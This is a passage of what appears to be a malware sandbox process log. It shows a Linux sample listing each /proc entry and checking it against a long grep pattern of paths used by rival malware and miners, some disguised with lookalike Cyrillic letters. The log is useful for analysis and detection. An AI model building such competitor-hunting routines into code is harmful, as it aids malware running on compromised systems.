  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1265
- /bin/grep
  grep exe
  2⤵
  PID:1268
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1267
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1271
- /bin/grep
  grep exe
  2⤵
  PID:1275
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1274
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1278
- /bin/grep
  grep exe
  2⤵
  PID:1281
- /bin/ls
  ls -latrh /proc/kcore
  2⤵
  PID:1280
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1284
- /bin/grep
  grep exe
  2⤵
  PID:1288
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1287
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1290
- /bin/grep
  grep exe
  2⤵
  PID:1294
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1293
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1297
- /bin/grep
  grep exe
  2⤵
  PID:1300
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1299
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1303
- /bin/grep
  grep exe
  2⤵
  PID:1307
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1306
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1309
- /bin/grep
  grep exe
  2⤵
  PID:1313
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1312
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1316
- /bin/grep
  grep exe
  2⤵
  PID:1319
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  PID:1318
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1322
- /bin/grep
  grep exe
  2⤵
  PID:1325
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1324
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1328
- /bin/grep
  grep exe
  2⤵
  PID:1331
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1330
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1333
- /bin/grep
  grep exe
  2⤵
  PID:1336
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1335
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1338
- /bin/grep
  grep exe
  2⤵
  PID:1341
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1340
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1343
- /bin/grep
  grep exe
  2⤵
  PID:1346
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1345
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1348
- /bin/grep
  grep exe
  2⤵
  PID:1351
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1350
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1353
- /bin/grep
  grep exe
  2⤵
  PID:1356
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1355
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1358
- /bin/grep
  grep exe
  2⤵
  PID:1361
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1360
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1363
- /bin/grep
  grep exe
  2⤵
  PID:1366
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1365
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1368
- /bin/grep
  grep exe
  2⤵
  PID:1371
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1370
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1373
- /bin/grep
  grep exe
  2⤵
  PID:1376
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1375
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1378
- /bin/grep
  grep exe
  2⤵
  PID:1381
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1380
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1383
- /bin/grep
  grep exe
  2⤵
  PID:1386
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1385
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1388
- /bin/grep
  grep exe
  2⤵
  PID:1391
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1390
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1393
- /bin/grep
  grep exe
  2⤵
  PID:1396
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1395
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1398
- /bin/grep
  grep exe
  2⤵
  PID:1401
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1400
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1403
- /bin/grep
  grep exe
  2⤵
  PID:1406
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1405
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1408
- /bin/grep
  grep exe
  2⤵
  PID:1411
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1410
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1413
- /bin/grep
  grep exe
  2⤵
  PID:1416
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1415
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1418
- /bin/grep
  grep exe
  2⤵
  PID:1421
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1420
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1423
- /bin/grep
  grep exe
  2⤵
  PID:1426
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1425
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1428
- /bin/grep
  grep exe
  2⤵
  PID:1431
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1430
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1433
- /bin/grep
  grep exe
  2⤵
  PID:1436
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1435
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1438
- /bin/grep
  grep exe
  2⤵
  PID:1441
- /bin/ls
  ls -latrh /proc/version
  2⤵
  PID:1440
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1443
- /bin/grep
  grep exe
  2⤵
  PID:1446
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1445
- /bin/grep
